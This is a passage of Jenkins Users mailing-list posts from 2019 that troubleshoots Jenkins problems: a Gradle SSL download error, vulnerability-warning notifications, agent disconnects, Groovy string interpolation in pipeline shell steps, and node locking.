>>>>> that might be a good alternative if you can’t upgrade the JRE
>>>>>
>>>>> On Mon, Sep 23, 2019 at 05:37 Daniel Beck  wrote:
>>>>>
>>>>>>
>>>>>>
>>>>>> On Mon, Sep 23, 2019 at 2:28 PM Sverre Moe  wrote:
>>>>>>
>>>>>>> ERROR: Failed to download 
>>>>>>> https://services.gradle.org/distributions/gradle-5.6.2-bin.zip from 
>>>>>>> agent; will retry from master
>>>>>>>
>>>>>>> sun.security.provider.certpath.SunCertPathBuilderException: unable to 
>>>>>>> find valid certification path to requested target
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> Which makes me believe that the Gradle tool does not use Jenkins
>>>>>>> Proxy settings, while Maven tools does use it.
>>>>>>>
>>>>>>
>>>>>> The error means it's an SSL issue. If you're on an old JRE, update
>>>>>> it.
>>>>>>
>>>>>> --
>>>>>> You received this message because you are subscribed to the Google
>>>>>> Groups "Jenkins Users" group.
>>>>>> To unsubscribe from this group and stop receiving emails from it,
>>>>>> send an email to jenkins...@googlegroups.com.
>>>>>> To view this discussion on the web visit
>>>>>> https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLJW%2BeMQ-509sB%2Bv%2BdAtz_%3DDudWMsiE-eCdZYfduAPcyA%40mail.gmail.com
>&g

Re: Jenkins NON-GUI notification of core / plug-in vulnerabilities / warnings and updates

[Daniel Beck]

Core cannot send emails, that's the mailer plugin. So if you need emails,
it'd be in a (probably new) plugin.

Core however could log warnings; the main problem I see here is that there
are no listeners/hooks to be notified when an update site is updated, so
it's not quite trivial to log only once when a previously unseen warning
shows up. Probably best done as a PeriodicWork while keeping a list of
warnings logged since Jenkins started, to prevent duplicates?


On Tue, Sep 24, 2019 at 3:59 PM Eric Engstrom 
wrote:

>
>
> On Monday, September 23, 2019 at 11:08:58 AM UTC-5, Daniel Beck wrote:
>>
>> Jenkins uses the update center metadata to show applicable warnings. It
>> would be a bit of a hack, and use internals not meant for public
>> consumption, but you could do that, too. See the bottom of
>> https://updates.jenkins.io/update-center.actual.json for the warning
>> definitions. (No complaining if we change the format without prior warning
>> etc.!)
>>
>
> The implication of this is that there is no current method to have jenkins
> send notifications (emails, or otherwise) on known vulnerabilities, core or
> plug-in.  Sounds like an opportunity for improvement, to which I'd be
> somewhat happy to help with development, but as a total jenkins _user_, I
> would need more pointers for development. The most obvious would be: is
> this something that should be in core or should it be yet-another-plug-in?
> Or, I suppose, I could develop it as a groovy script that one could run as
> a jenkins job within jenkins itself.
>
> Thoughts?
>
>
>>
>> On Mon, Sep 23, 2019 at 5:52 PM Eric Engstrom 
>> wrote:
>>
>>> Yes, I'm subscribed to the "Security advisories" mailing list
>>> <https://groups.google.com/forum/m/#!forum/jenkinsci-advisories>, and
>>> while it provides indications of core updates w.r.t. vulnerabilities, it's
>>> not as helpful for plug-ins - that is, not only would I have to look at all
>>> the plug-ins that are listed as being patched, but it doesn't, AFAICT, tell
>>> me when there are unpatched vulnerabilities.
>>>
>>
>> Counterexample:
>> https://groups.google.com/d/msg/jenkinsci-advisories/T3Zt01nhGao/kn_VhKasCgAJ
>> (Aug 7 this year, second email in the "thread" -- Thanks Google!)
>>
>
> Proven wrong - thanks.  I'll pay more attention.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/71abc41c-ad1a-4b0a-96b5-aff68b6aaad4%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/71abc41c-ad1a-4b0a-96b5-aff68b6aaad4%40googlegroups.com?utm_medium=email_source=footer>
> .
>


-- 

Daniel Beck
Senior Software Engineer
CloudBees, Inc.

[image: CloudBees-Logo.png]

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKjAGy2c3V12yKDULaFe8VbjQk1ogZYM48%2BcK2fcoqJxA%40mail.gmail.com.

Re: Jenkins NON-GUI notification of core / plug-in vulnerabilities / warnings and updates

[Daniel Beck]

Jenkins uses the update center metadata to show applicable warnings. It
would be a bit of a hack, and use internals not meant for public
consumption, but you could do that, too. See the bottom of
https://updates.jenkins.io/update-center.actual.json for the warning
definitions. (No complaining if we change the format without prior warning
etc.!)

On Mon, Sep 23, 2019 at 5:52 PM Eric Engstrom 
wrote:

> Yes, I'm subscribed to the "Security advisories" mailing list
> , and
> while it provides indications of core updates w.r.t. vulnerabilities, it's
> not as helpful for plug-ins - that is, not only would I have to look at all
> the plug-ins that are listed as being patched, but it doesn't, AFAICT, tell
> me when there are unpatched vulnerabilities.
>

Counterexample:
https://groups.google.com/d/msg/jenkinsci-advisories/T3Zt01nhGao/kn_VhKasCgAJ
(Aug 7 this year, second email in the "thread" -- Thanks Google!)

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtK49kO_r%3DWinU6%2BwYcf-ScxiPM%2BQxxRyegnZyYoEDVpkg%40mail.gmail.com.

Re: Gradle Tool Failed Download

[Daniel Beck]

On Mon, Sep 23, 2019 at 2:28 PM Sverre Moe  wrote:

> ERROR: Failed to download 
> https://services.gradle.org/distributions/gradle-5.6.2-bin.zip from agent; 
> will retry from master
>
> sun.security.provider.certpath.SunCertPathBuilderException: unable to find 
> valid certification path to requested target
>
>
>
> Which makes me believe that the Gradle tool does not use Jenkins Proxy
> settings, while Maven tools does use it.
>

The error means it's an SSL issue. If you're on an old JRE, update it.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLJW%2BeMQ-509sB%2Bv%2BdAtz_%3DDudWMsiE-eCdZYfduAPcyA%40mail.gmail.com.

Re: Windows slaves continually losing connection

[Daniel Becroft]

Thanks Ivan. I checked the .exe version, and it was already the latest. The
slave.jar wasn't being updated though, so I've enabled automatic updates on
that, and upgraded everything to the latest weekly (2.187).

I'll keep an eye on it, and hopefully that's solved the problem.
---
Daniel Becroft


On Tue, Aug 6, 2019 at 3:32 AM Ivan Fernandez Calvo 
wrote:

> Hi,
>
> You updated to the latest weekly Jenkins version, Did you updated the jar
> agent too? if you installed the agent service on your agents a long time
> ago probably it does not update the jar file on the agent so you are
> running an old version of the remoting jar file, this file changed with
> every version of Jenkins, it uses to be compatible but some times is not,
> it is recommended to update this jar file with each Jenkins update. I'd
> recommend to uninstall the service, remove all files in the agent folder,
> and install it again, in that way you will update the service to the latest
> version and the remoting jar file too, see
> https://github.com/kohsuke/winsw for more details
>
> El lunes, 5 de agosto de 2019, 13:46:22 (UTC+2), Daniel Becroft escribió:
>>
>> Hi,
>>
>> Jenkins 2.179
>> Windows Server 2008 R2 controller,  Windows 2016 agent
>>
>> I think I've raised this issue before, but I don't believe I got it
>> resolved (and I can't locate the original post).
>>
>> We've got a long running job (approx 18hours), and every second day,
>> almost without fail, the jeniins agent process is getting disconnected. The
>> messages from the jenkins-slave.err.log are below - the time between the
>> INFO: Connected and INFO: Terminated lines seem to be consistently about 48
>> hours aparet (give/take a few hours).
>>
>> \jenkins-slave.err.log
>>
>> Jul 31, 2019 2:33:37 PM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Connected
>> Aug 01, 2019 6:53:39 AM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Terminated
>> Aug 01, 2019 6:53:49 AM hudson.remoting.jnlp.Main$CuiListener error
>> SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> java.lang.NoClassDefFoundError:
>> jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> at
>> jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
>> at
>> hudson.remoting.EngineListenerSplitter.onReconnect(EngineListenerSplitter.java:49)
>> at hudson.remoting.Engine.innerRun(Engine.java:647)
>> at hudson.remoting.Engine.run(Engine.java:455)
>> Caused by: java.lang.ClassNotFoundException:
>> jenkins.slaves.restarter.JnlpSlaveRestarterInstaller
>> at java.net.URLClassLoader.findClass(Unknown Source)
>> at hudson.remoting.RemoteClassLoader.findClass(RemoteClassLoader.java:157)
>> at java.lang.ClassLoader.loadClass(Unknown Source)
>> at java.lang.ClassLoader.loadClass(Unknown Source)
>> ... 4 more
>> [...]
>> Aug 01, 2019 8:39:26 AM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Connected
>> Aug 02, 2019 6:34:30 AM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Terminated
>> Aug 02, 2019 6:34:41 AM hudson.remoting.jnlp.Main$CuiListener error
>> SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> java.lang.NoClassDefFoundError:
>> jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> at
>> jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
>> at
>> hudson.remoting.EngineListenerSplitter.onReconnect(EngineListenerSplitter.java:49)
>> at hudson.remoting.Engine.innerRun(Engine.java:647)
>> at hudson.remoting.Engine.run(Engine.java:455)
>> Caused by: java.lang.ClassNotFoundException:
>> jenkins.slaves.restarter.JnlpSlaveRestarterInstaller
>> at java.net.URLClassLoader.findClass(Unknown Source)
>> at hudson.remoting.RemoteClassLoader.findClass(RemoteClassLoader.java:157)
>> at java.lang.ClassLoader.loadClass(Unknown Source)
>> at java.lang.ClassLoader.loadClass(Unknown Source)
>> ... 4 more
>> [...]
>> Aug 02, 2019 4:38:01 PM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Connected
>> Aug 04, 2019 6:48:05 AM hudson.remoting.jnlp.Main$CuiListener status
>> INFO: Terminated
>> Aug 04, 2019 6:48:15 AM hudson.remoting.jnlp.Main$CuiListener error
>> SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> java.lang.NoClassDefFoundError:
>> jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
>> at
>> jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
>> at
>>

Windows slaves continually losing connection

[Daniel Becroft]

Hi,

Jenkins 2.179
Windows Server 2008 R2 controller,  Windows 2016 agent

I think I've raised this issue before, but I don't believe I got it 
resolved (and I can't locate the original post).

We've got a long running job (approx 18hours), and every second day, almost 
without fail, the jeniins agent process is getting disconnected. The 
messages from the jenkins-slave.err.log are below - the time between the 
INFO: Connected and INFO: Terminated lines seem to be consistently about 48 
hours aparet (give/take a few hours).

\jenkins-slave.err.log

Jul 31, 2019 2:33:37 PM hudson.remoting.jnlp.Main$CuiListener status
INFO: Connected
Aug 01, 2019 6:53:39 AM hudson.remoting.jnlp.Main$CuiListener status
INFO: Terminated
Aug 01, 2019 6:53:49 AM hudson.remoting.jnlp.Main$CuiListener error
SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
java.lang.NoClassDefFoundError: 
jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
at 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
at 
hudson.remoting.EngineListenerSplitter.onReconnect(EngineListenerSplitter.java:49)
at hudson.remoting.Engine.innerRun(Engine.java:647)
at hudson.remoting.Engine.run(Engine.java:455)
Caused by: java.lang.ClassNotFoundException: 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller
at java.net.URLClassLoader.findClass(Unknown Source)
at hudson.remoting.RemoteClassLoader.findClass(RemoteClassLoader.java:157)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
... 4 more
[...]
Aug 01, 2019 8:39:26 AM hudson.remoting.jnlp.Main$CuiListener status
INFO: Connected
Aug 02, 2019 6:34:30 AM hudson.remoting.jnlp.Main$CuiListener status
INFO: Terminated
Aug 02, 2019 6:34:41 AM hudson.remoting.jnlp.Main$CuiListener error
SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
java.lang.NoClassDefFoundError: 
jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
at 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
at 
hudson.remoting.EngineListenerSplitter.onReconnect(EngineListenerSplitter.java:49)
at hudson.remoting.Engine.innerRun(Engine.java:647)
at hudson.remoting.Engine.run(Engine.java:455)
Caused by: java.lang.ClassNotFoundException: 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller
at java.net.URLClassLoader.findClass(Unknown Source)
at hudson.remoting.RemoteClassLoader.findClass(RemoteClassLoader.java:157)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
... 4 more
[...]
Aug 02, 2019 4:38:01 PM hudson.remoting.jnlp.Main$CuiListener status
INFO: Connected
Aug 04, 2019 6:48:05 AM hudson.remoting.jnlp.Main$CuiListener status
INFO: Terminated
Aug 04, 2019 6:48:15 AM hudson.remoting.jnlp.Main$CuiListener error
SEVERE: jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
java.lang.NoClassDefFoundError: 
jenkins/slaves/restarter/JnlpSlaveRestarterInstaller
at 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller$FindEffectiveRestarters$1.onReconnect(JnlpSlaveRestarterInstaller.java:93)
at 
hudson.remoting.EngineListenerSplitter.onReconnect(EngineListenerSplitter.java:49)
at hudson.remoting.Engine.innerRun(Engine.java:647)
at hudson.remoting.Engine.run(Engine.java:455)
Caused by: java.lang.ClassNotFoundException: 
jenkins.slaves.restarter.JnlpSlaveRestarterInstaller
at java.net.URLClassLoader.findClass(Unknown Source)
at hudson.remoting.RemoteClassLoader.findClass(RemoteClassLoader.java:157)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
... 4 more

Is there anything I should investigate as to why these agents are 
continually failing? Can I increase the verbosity of the logging to get 
more information, or tweak some timeout settings?

What I can't figure out is why the error on startup again is 
"NoClassDefFoundError", as that indicates a classpath problem, right?

I've got a Windows 2008 server agent running a similar job, and it has no 
similar issues.

Cheers,
Daniel .

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/5617c5aa-0346-4ec6-b717-137e16083cef%40googlegroups.com.

Re: Jenkins Pipeline Maven Plugin - Always skipping downstream job

[Daniel Beck]

> On 2. Aug 2019, at 11:49, Cyrille Le Clerc  wrote:
> 
> Do you understand why the downstream pipeline is seen as unauthenticated? 
> Could there be a configuration glitch on your setup?
> 

My guess, not having debugged this further:

Pipeline Maven Plugin seems to have copied code from ReverseBuildTrigger in 
core (see your code snippet, 'cf. BuildTrigger') that wasn't adapted to 
JENKINS-22949 in https://jenkins.io/changelog/#v2.62

See 
https://github.com/jenkinsci/jenkins/commit/915543dca5399d3ba052219ddfe9c3c061e70726
 for the change -- there's no need to set the auth to ANONYMOUS anymore if it's 
SYSTEM otherwise.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/F1590A34-25AC-4499-BF96-13A93C79F03D%40beckweb.net.

Re: how to define multibranch pipeline with jenkinsfile from another repository (or hardcoded)?

[Daniel Butler]

You could use the Pipeline Multibranch Defaults plugin which does the
hardcoded in the job approach
https://github.com/jenkinsci/pipeline-multibranch-defaults-plugin/blob/master/README.md

If a stub file in Repo-A is acceptable you could also use a shared library
to store the actual jenkinsfile as a script and the stub just contains
doRepoBuild() or similar which is the way jenkins plugin builds share build
scripting. The blog post
https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/
runs through a more elaborate example with a bunch of parameters to a
similar end.

There are a few users which have done the parallel repo approach but I'm
not myself sure of the details.

Regards,
Daniel

On Thu, Jul 4, 2019 at 1:51 PM Tom Brus  wrote:

> Hi,
>
> I have a repos I want to build all branches for (repos-A).
> I do not want to put any jenkinsfiles (or any other build related stuff)
> into this repos.
> My jenkinsfile lives in a separate repos (repos-B).
>
> So I need the branches from repos-A and I need the jenkinsfile to build
> with from repos-B.
>
> How can I set this up?
>
> - the *Pipeline Multibranch Plugin* only seems to allow "*by Jenkinsfile*"
> for *mode*
> - the *Multi-Branch Project Plugin* is deprecated so I like to stay away
> from it
> - I could live with a hardcaded jenkinsfile in the job itself
>
> Any help welcome!
> Tom Brus
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/a86e14e1-f39c-4616-92b0-957cdc3374c1%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/a86e14e1-f39c-4616-92b0-957cdc3374c1%40googlegroups.com?utm_medium=email_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbiD6%3DQ5qMQy26KiFGVw4Q3hH%3DT4OVA%3DktvoDQYf5iAO1A%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: Pipeline: The sh step does not show all output

[Daniel Saier]

You can also use the tee step 
,
 
which automatically propagates the return codes of the steps inside of the 
tee.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/e5b3fc7b-b661-42a4-877b-04fe69b02628%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: scripted pipeline: bash: date -> MissingPropertyException: No such property: ... for class: groovy.lang.Binding

[Daniel Butler]

Replace ${mytime} with \$mytime

The mytime variable you've created is a bash one.

Regards
Daniel


On Thu, 2 May 2019, 1:16 pm b o b i,  wrote:

> Jenkins 2.174, in a scripted pipeline the following
>
> sh """#!/bin/bash
>echo "TTT"
>mytime="`date '+%Y_%m_%d__%H_%M_%S'`"
>echo ${mytime}
> """
>
> produces
>
> groovy.lang.MissingPropertyException: No such property: mytime for class: 
> groovy.lang.Binding
>   at groovy.lang.Binding.getVariable(Binding.java:63)
>   at 
> org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onGetProperty(SandboxInterceptor.java:270)
>   at org.kohsuke.groovy.sandbox.impl.Checker$6.call(Checker.java:289)
>   at 
> org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:293)
> ...
>
> How can I have current time expanded as a string without the above error?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/3b826017-27f1-45c9-925c-f396b13bcea9%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/3b826017-27f1-45c9-925c-f396b13bcea9%40googlegroups.com?utm_medium=email_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbgohHtkAeVoY-7BWJAkyiwqdqiUYmK65na%2B07s3wwoRHw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: Why does somestring.digest('SHA-1') fail in pipeline

[Daniel Beck]

> On 1. May 2019, at 02:11, Slide  wrote:
> 
> I don't know what version pipeline is using right now.

We're on 2.4.x.

And as usual, don't (ab)use pipeline as a general purpose programming 
environment. It's not intended to be, never was.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/48CE7C33-BEBE-41DB-9C79-C3643459F107%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Re: shell inside a groovy script doesnt resolve variables ?

[Daniel Butler]

Strings using single quotes do not do variable expansion; you must use
double quotes to have the variables expand.
So:
'$var' is the literal string $var
"$var" expands to the string value of the variable $var

and the same is true for multi line strings
'''
$var
'''
does not expand

"""
$var
"""
expands the value of $var

https://jenkins.io/doc/book/pipeline/jenkinsfile/#string-interpolation



On Tue, Apr 16, 2019 at 9:23 PM b o b i  wrote:

> I cannot make the executed shell to resolve a predefined variable in my
> jenkins script.. I tried various syntax approaches w/o succcess. ..
>
> Anybody could give me a hand?
>
>
> String workspace
> String addOn = "Path/To/Cmake.cmake"
>
> node ('slave01') {
> workspace = pwd()
> String addOnAbsPath = "${workspace}/$toolchainCmake"
>
> stage ('Build') {
>
> // for some reason is not recognize, thats why
> sh "echo ${addOnAbsPath}"
> sh '''
> echo Path: '$addOnAbsPath'
>'''
> sh '''#!/bin/bash
>echo ${addOnAbsPath}
>cmake ... -DADD_ON=$addOnAbsPath ...
> '''
> }
> }
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/01535995-02a9-46ce-8388-ca01695dbbb9%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbg-s5Fk5Sb74y8ccS3gNapuiuqa6RcxAP2Jw64VJmn3yw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

RE: How to Trigger back the Jenkins job from the job who triggered it?

[Daniel Butler]

I’m assuming you’re meaning freestyle jobs? Usually you’d have a parameter in 
Job X with the upstream job name that you can then use in the Parameterized 
Build Trigger to pass the parameter to Job X. 

What will be in place however to stop this ending up in a build loop? Otherwise 
Job B is going to trigger Job X which will trigger Job B which will trigger Job 
X...

Regards,
Daniel.


From: Ramdinesh J P
Sent: 18 March 2019 10:20
To: Jenkins Users
Subject: How to Trigger back the Jenkins job from the job who triggered it?


Here, three different jobs triggers the JOB X. Requirement is, on completion of 
JOB X, it should trigger back the job who triggered it.
For example, if JOB X is triggered by JOB B, it should trigger back only the 
JOB B.
Things I have tried:
1. I have used "build another job" option from Post build action, where I can 
mention the list of jobs needs to be triggered.
2. It is not satisfying my requirement as it is triggering all the JOBS listed 
in the box.
Kindly help !!
-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/f9ad64f3-1ae9-40bd-9148-3721421884e7%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/5c8f8235.1c69fb81.50321.7de6%40mx.google.com.
For more options, visit https://groups.google.com/d/optout.

Re: Jenkins API token behaviour change (no longer valid with new Jenkins images after Jenkins restart?)

[Daniel Beck]

> On 1. Feb 2019, at 14:59, adamrobertsah...@gmail.com wrote:
> 
> we've noticed a problem when upgrading the base Jenkins image beyond 2.153 
> however

To clarify, the problem occurs from 2.154 on? If you only tried a later 
release, could you try to determine the release that broke it?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/C7106BE3-D411-40EF-B36A-487BC13AF2A3%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Re: Sporadic MSBuild errors / possible durable task issue?

[Daniel Becroft]

On Fri, Feb 1, 2019 at 2:31 AM Steven Foster 
wrote:

> After updating Jenkins with plugins from early April 2018, I'm seeing
> inconsistent failures in my pipelines' calls to MSBuild which I cannot
> reproduce outside of Jenkins. It occurs in both powershell and bat steps.
>
> The error presents as
>
> 0>MSBUILD : error MSB4166: Child node "14" exited prematurely. Shutting
> down. Diagnostic information may be found in files in the temporary files
> directory named MSBuild_*.failure.txt.
>
> There is no such extra information file. This looks a bit like an
> interrupt to me, is there a way I can reproduce how Jenkins sends
> interrupts so I can verify that?
> Are there any advanced durable task debugging techniques I could use to
> find out what could be causing an interrupt or something else?
>

We had a similar issue, and it ended up being related to MSBuild itself,
not Jenkins. The jobs seemed to work correctly when run from a command
line, but it took a while and they eventually started failing as well.

Our issue was due to the maximum number of temp files in %TEMP% being
exceeded (see the GetTempFileNameA[1] function, it has an internal limit of
65,535). Once we cleared those out (and resolved the bug in our code that
wasn't cleaning them up), the builds worked again.

[1] -
https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-gettempfilenamea

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAJM0iSQNCSNi3Z0oQSfZTJD9ZmbjKwCyNO8VNuhgimiXDwLk8Q%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: How to prevent concurrent execution of jobs on the same node, but allow a few parallel steps execution?

[Daniel Butler]

You could use the lockable resources plugin (v2.2+):

Set up a single resource for each node and give them all a common label

Then your Jenkinsfile would be:

lock(label: "common-label", variable: "LOCKED_NODE"){
node(env.LOCKED_NODE){
//build project
}
}

Regards,
Daniel.

On Thu, Jan 31, 2019 at 7:48 AM Vitaly Karasik  wrote:

> I'd like to mark *whole* pipeline job as throttling resource; and unlike
> freestyle jobs, Throttleling plugin does't know to do that. I.e. I cannot
> use "throttle" in pipeline options.
>
> On Wednesday, January 30, 2019 at 7:47:20 PM UTC+2, Den Slobozhanskyi
> wrote:
>>
>> Just to clarify - does it mean that Throttling plugin throttles not the
>> job as a whole, but each step in parallel? My assumption was that
>> throttling is only for the job, and nested threads have nothing to do with
>> throttle. By your words it looks like setting throttling to "1" for the job
>> reduce the possible parallel threads execution to a single thread at a time
>> as well, is that true?
>>
>> If this is not true, you just gather all the jobs under one throttling
>> category and set the concurrent builds limit to 1.
>>
>> BR,
>> Denys
>>
>> среда, 30 января 2019 г., 14:17:15 UTC+1 пользователь Vitaly Karasik
>> написал:
>>>
>>> I have multibranch job, whole pipeline runs on certain node.
>>>
>>> Currently I have a slaves with single executor, so multiple jobs cannot
>>> run on the same node. I'd like to use parallel steps inside my pipeline, so
>>> I need to increase number of executors.
>>>
>>> What is the best way to prevent concurrent job execution?
>>>
>>> Such configuration was trivial with Jenkins freestyle job and Throttling
>>> plugin - I simple used "Maximum Concurrent Builds Per Node". But in
>>> pipeline it seems that I cannot use "throttle" for whole pipeline, I need
>>> to use it for each step. Is there more elegant solution?
>>>
>>> TIA, Vitaly
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d6b76faf-f9e6-4960-8dc5-ab79c6c6ac0f%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/d6b76faf-f9e6-4960-8dc5-ab79c6c6ac0f%40googlegroups.com?utm_medium=email_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbgQQWsggy8VdYxnn6RhWmYP%3DVBh4A%3D8JxO-etH6iOSpTg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Docker Plugin Release?

[Daniel O'Brien]

The github repo issue tracker said to open discussions here that aren't 
directly related to the code. Is there anyone we can make a request of to 
cut a new release for the Docker Plugin? There's fixed merged in in 
December for the bug we are constantly hitting via the attach method due to 
